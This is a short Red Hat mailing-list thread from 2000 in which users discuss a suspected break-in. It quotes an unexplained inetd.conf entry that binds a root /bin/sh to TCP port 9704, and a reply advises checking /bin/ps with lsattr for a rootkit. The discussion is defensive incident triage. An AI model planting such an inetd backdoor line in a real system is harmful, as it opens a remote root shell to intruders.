It does look like -------- /bin/ps, so a rootkit is probably not
installed. May be okay. This is just my own system, but I have a lot on it
and want to avoid a re-install, but am trying to think of all I need to
save in order to do it.
Any other things I should be looking for?
Thanks for all thehelp
Brian
On Thu, 5 Oct 2000, Tom Minchin wrote:
> You've been hacked. Do lsattr /bin/ps and see if it looks like:
>
> -------- /bin/ps
>
> If it doesn't, then you've also got a rootkit installed. Given that it can be damn
>annoying to extract all the easter eggs and timebombs left behind you probably want
>to re-install.
>
> [EMAIL PROTECTED]
>
> On Thu, Oct 05, 2000 at 06:08:41AM -0400, Ben Logan wrote:
> > Hi,
> >
> > A little while ago, I found the following entry at the end of my
> > inetd.conf file:
> >
> > 9704 stream tcp nowait root /bin/sh sh -i
> >
> > I don't remember putting it there and I can't find a corresponding
> > port number in the /etc/services file. Can anyone tell me what this
> > is for (I've commented it out until I find out).
> >
> > Thanks,
> > Ben Logan
> >
> >
> >
> > _______________________________________________
> > Redhat-list mailing list
> > [EMAIL PROTECTED]
> > https://listman.redhat.com/mailman/listinfo/redhat-list
>
>
>
> _______________________________________________
> Redhat-list mailing list
> [EMAIL PROTECTED]
> https://listman.redhat.com/mailman/listinfo/redhat-list
>
------------------------------------------------------------------------
"If you're not one of us, you are one of them" Morpheus
Brian Schneider [EMAIL PROTECTED] www.liberty.ddns.org
________________________________________________________________________
_______________________________________________
Redhat-list mailing list
[EMAIL PROTECTED]
https://listman.redhat.com/mailman/listinfo/redhat-list
